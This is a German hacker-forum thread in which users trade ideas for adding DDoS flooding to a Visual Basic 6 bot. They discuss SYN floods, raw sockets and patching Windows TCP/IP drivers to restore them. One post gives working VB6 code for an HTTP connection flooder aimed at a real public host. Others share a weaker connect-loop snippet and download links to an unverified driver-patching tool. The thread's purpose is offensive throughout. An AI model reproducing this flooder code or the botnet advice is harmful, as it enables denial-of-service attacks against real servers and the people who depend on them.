VB6 & DDoS - Wer weiß was?

Moin,

bin vor paar Tagen beim Entmüllen meiner Festplatte wieder auf einen alten VB-Bot Source gestoßen und wollte ihn mal bisschen ausbauen. Allerdings finde ich kaum (brauchbares!) Material für VB zum Thema Bots/bzw. (D)DoS Oo.

Irgendwo hab ich aufgeschnappt, dass in VB DDoS (effektiv?) gar nicht möglich wäre, weil Synflood nur mit Raw Sockets zu machen wäre! Meines Wissens unterstützt Windows ab XP Service Pack 2 ja Raw Sockets überhaupt nicht mehr oder? <Ôô> Wie kommt es dann, dass es C++ Bots gibt, die Syn bzw. SuperSynFlood haben?!

Und wie schaut es mit anderen Flooding Methoden aus? ICMP? UDP?
Das einzige, was ich bis jetzt gefunden habe war der Open Source von Mini DoS und der ist nicht sehr ergiebig!^^

Mir ist schon bewusst, dass ein kleiner Visual Basic Bot nie mit großen Sachen wir Rx & Co. mithalten werden kann, aber trotzdem muss es doch möglich sein zumindest auf kleinerer Ebene umsetzbar sein? Oder ist hier tatsächlich die Grenze von VB Classic? ^^

Zitat:

---

Zitat von Jaro

Irgendwo hab ich aufgeschnappt, dass in VB DDoS (effektiv?) gar nicht möglich wäre, weil Synflood nur mit Raw Sockets zu machen wäre!

---

Naja so ähnlich ;) aber mit der ineffizentz hast du recht


ICMP flood dürfte möglich serin aber nur mit normalen packeten und das is langweilig ^^ und nicht so effektiv genauso mit UDP

Also Raw Sockets kannst du wohl in der Tat vergessen, und damit auch die effektivsten Floodmöglichkeiten.
Obwohl immer noch das Gerücht von dem gepatchten Treiber die Runde macht, der die Raw Sockets wieder aktiviert.

Gibt es denn gar keine Möglichkeit mehr Raw Sockets bzw. etwas ähnliches/analoges zu benutzen? Wie machen das denn C++ Bots?! Gibt ja kaum mehr Mods davon bzw. neue Bots, die kein (Super)Syn bzw. irgendwelche anderen, sehr effektiven Floodingmethoden haben!
Und Sockets sind ja nicht an eine Programmiersprache gebunden, das heißt wenn Syn auf XP unter C++ geht, muss es doch (zumindest theoretisch^^) auch in Visual Basic gehen, oder? :eek:

Sie Patchen TCP/IP treiber und unlocken die Funktion. Natürlich geht das auch mit VB :) Oder du Packst den gepachten Treiber in deinen Server... Außerdem geht threading auf VB wodurch du auch mehrere DoS Instanzen öffnen kannst!

Zitat:

---

Zitat von Slayer616

Sie Patchen TCP/IP treiber und unlocken die Funktion. Natürlich geht das auch mit VB :) Oder du Packst den gepachten Treiber in deinen Server...

---

Hast du Material dazu bzw. einen guten Tipp, wo man was findet?

Zitat:

---

Außerdem geht threading auf VB wodurch du auch mehrere DoS Instanzen öffnen kannst!

---

Schon klar, aber bringt das effektiv was? Wenn man dann 10k Zombies für ein kleinen Host braucht rechnet sich das nicht! ^^

Hm najo aber VB würde ja eig nicht gehen weil ja da keine Raw Sockets gibt und da der verbindungsaufbau ja schon fertig "vordefiniert" ist oder ?

Zieh 3 mal Winsock auf ne Form und du hast sogar DDOS - 3 Angreifer xD

Zitat:

---

Zitat von AllesFAM

Hm najo aber VB würde ja eig nicht gehen weil ja da keine Raw Sockets gibt und da der verbindungsaufbau ja schon fertig "vordefiniert" ist oder ?

---

Raw Sockets sind generell seit dem Service Pack 2 für Windows XP nicht mehr integriert, aber Slayer hats ja oben geschrieben, man kann den TCP/IP Treiber eventuell patchen...

Zitat:

---

Zieh 3 mal Winsock auf ne Form und du hast sogar DDOS - 3 Angreifer xD

---

Geniale Idee! ^^

Hier haste du einen vBulletin Flooder:

Code:

---

Option Explicit
Private Const Target$ = "www.google.de"
Private Const Connections& = 100

Private Sub Command1_Click()
    Dim i&
    For i = 1 To Connections
        Load WS(i)
        WS(i).Connect Target, 80
    Next i
End Sub

Private Sub WS_Close(Index As Integer)
    WS(Index).Close
    WS(Index).Connect Target, 80
End Sub

Private Sub WS_Connect(Index As Integer)
WS(Index).SendData "GET / HTTP/1.1" & vbCrLf & _
                  "Host: " & Target & vbCrLf & _
                  "Accept: */*" & vbCrLf & _
                  "User-Agent: Mozilla/5.0 (Windows; U; Windows NT 5.2; de; rv:1.8.1.6) Gecko/20070725 Firefox/2.0.0.6" & vbCrLf & vbCrLf
End Sub

Private Sub WS_Error(Index As Integer, ByVal Number As Integer, Description As String, ByVal Scode As Long, ByVal Source As String, ByVal HelpFile As String, ByVal HelpContext As Long, CancelDisplay As Boolean)
    WS(Index).Close
    WS(Index).Connect Target, 80
End Sub

---

Muss sicherlich noch etwas umgebaut werden, aber die Grundlage ist da.

igoe.

warum bitte vBulletin Flooder?

Zitat:

---

Zitat von kInGoFcHaOs

warum bitte vBulletin Flooder?

---

Naja, genau genommen ist es ja ein Flooder für alles ^^
Ich wollte ihn nur eine kleine Vorlage geben ;)

igoe.

Jo, exakt solche Sources findet man überall, wenn man nach "DDoS" und "Visual Basic" sucht! ;) Wieso du das ganze aber vBulletin Flooder nennst frag ich mich auch, hat irgendwie nichts speziell mit vBulletin zu tun, oder bin ich blind?

Naja, leider sind diese Art von "Floodern" halt nicht sehr effektiv, aber wenns anders nicht geht, muss halt sowas herhalten! ;)

Mal schauen, vielleicht meldet sich Slayer ja nochmal...^^

Zitat:

---

Zitat von Jaro

Jo, exakt solche Sources findet man überall, wenn man nach "DDoS" und "Visual Basic" sucht! ;) Wieso du das ganze aber vBulletin Flooder nennst frag ich mich auch, hat irgendwie nichts speziell mit vBulletin zu tun, oder bin ich blind?

Naja, leider sind diese Art von "Floodern" halt nicht sehr effektiv, aber wenns anders nicht geht, muss halt sowas herhalten! ;)

Mal schauen, vielleicht meldet sich Slayer ja nochmal...^^

---

Warum ich den vBulletin Flooder genant habe, das
ist mir selbst auch ein Rätzel :D

Naja, ich hatte bis jetzt auch keine anderen Source Codes, haste schon
mal bei http://www.opensc.ws/visual-basic-sources/ geschaut ? vll gibt es ja da was.

igoe

Logo, aber nur solche Sachen, wie du es oben gepostet hast! ;) Scheinbar gibt es keine Visual Basic Coder, die Interesse an Bots haben! ^^

Grundsätzlich kann man die Sockets unter VB6 genauso wie unter C verwenden, man muss halt nur die Original-Winsocket-apis nehmen und nicht diese billige Winsock-Komponente.
Und was das Patchen der Treiber angeht, da bin ich auch schon länger auf der Suche, allerdings ohne Erfolg, wer da was findet soll mit BITTE! Bescheid geben :)

Zitat:

---

Zitat von Hamtaro

Grundsätzlich kann man die Sockets unter VB6 genauso wie unter C verwenden, man muss halt nur die Original-Winsocket-apis nehmen und nicht diese billige Winsock-Komponente.

---

Was ja nichts bringt, solang der Treiber nicht modifiziert wurde, oder?

Zitat:

---

Zitat von Hamtaro

Und was das Patchen der Treiber angeht, da bin ich auch schon länger auf der Suche, allerdings ohne Erfolg, wer da was findet soll mit BITTE! Bescheid geben :)

---

Wenn man dem About Screen glauben schenkt ist es machbar...allerdings überzeugt mich das Englisch des Coders nicht besonders...^^

Code:

---

..is coded by VB6....

---

http://gtraser.gt.ohost.de/tcpip.jpg

Source hab ich nicht, aber wenn sich jemand gut mit decompilen auskennt, lad ichs sofort hoch!

@Jaro, nalos lade es schon hoch, kenne mich gut damit aus :>

igoe.

Machs zur Sicherheit lieber auf VM, keine Ahnung ob es clean ist!

Edit: Archiv war beschädigt, habs nochmal neu gepackt und geuppt!

http://rapidshare.com/files/202448750/icepoint.zip

Zitat:

---

Zitat von Jaro

Machs zur Sicherheit lieber auf VM, keine Ahnung ob es clean ist!

Code:

---

http://gtraser.gt.ohost.de/fh/icepoint.zip

---

---

Ja, das könnte schwer werden, den ich habe kein DSL, und keine vmware...
Ich würde ein paar tage dran laden...

Edit: omg, ich kann das da nicht laden, lade das doch bitte auf RS hoch ^^
Jedesmal wenn ich es runterlade, und Öffnen will kommt ein Archive Fehler.

igoe

Dann decompile es ohne es auszuführen! ;)

Zitat:

---

Zitat von igoe*star

Edit: omg, ich kann das da nicht laden, lade das doch bitte auf RS hoch ^^
Jedesmal wenn ich es runterlade, und Öffnen will kommt ein Archive Fehler..
igoe

---

.

Hab den Link geupdated! ;) http://rapidshare.com/files/202448750/icepoint.zip

ich dachte vb6 kann man nicht decompimilen?

Zitat:

---

Zitat von krause515

ich dachte vb6 kann man nicht decompimilen?

---

Falsch gedacht, schau dir Shark 2.1 Stable an, der Source code ist auch
Public, weil The_Man ihn Decompiled hat, mann weis nur nicht ob er
zusätzlich gecryptet ist usw.

igoe

Also gut, ich habe es erst mit einen Normalen Decompiler Versucht, da der mir
aber schon sachte, das die Datei Gepackt wäre, und ich sie erst entpacken
müsste und das das Programm auch noch die Exe ausführen müsste, habe ich
es gelassen sry.

igoe

Kannst du bitte den Decompiler posten?

http://www.vb-decompiler.org/download.htm or
http://www.pcfreunde.de/download/d13157/vb-decompiler/

igoe..

2.1 wurde nicht decompiled ;)
Es ist immer noch unmöglich 100 % Sourcecode aus vb Exen rauszubekommen (du solltest auch wissen warum!)

Bin mir nicht sicher wie effektiv, aber so sollte es doch auch funktionieren oder?

Code:

---

Dim Wiederholen
Dim Anfragen
Dim Maxwiederholungen
Dim Maxanfragen
Dim IP
Dim Port

Public Sub Command1_Click()
IP = "127.0.0.1"
Port = "134"
Maxwiederholungen = "5" 'Wie oft die verbindung wiederholt werden soll
Maxanfragen = "15" 'Wieviele anfragen gesendet werden

For Wiederholen = 0 To Maxwiederholungen - 1
For Anfragen = 0 To MaxAnfragen - 1 '
Winsock1.Close 'Winsock schließen
Winsock1.Connect Ip, Port 'Anfragen senden
Next
Next
End Sub

---

Nein, eigtl. nicht.
Diese Sache simuliert eine ganz normale Situation für einen Webserver, nämlich das viele Leute eine Verbindung aufbauen und sie wieder beenden.
Bei DOS geht es darum, den Server mit Anfragen zu überlasten, die er nicht schnell genung verarbeiten kann, falls du dich da weiter informieren willst, auf unkn0wn.ws habe ich dazu mal nen paar gute Beiträge gesehen (Socketflooding, SYN-Flood etc.)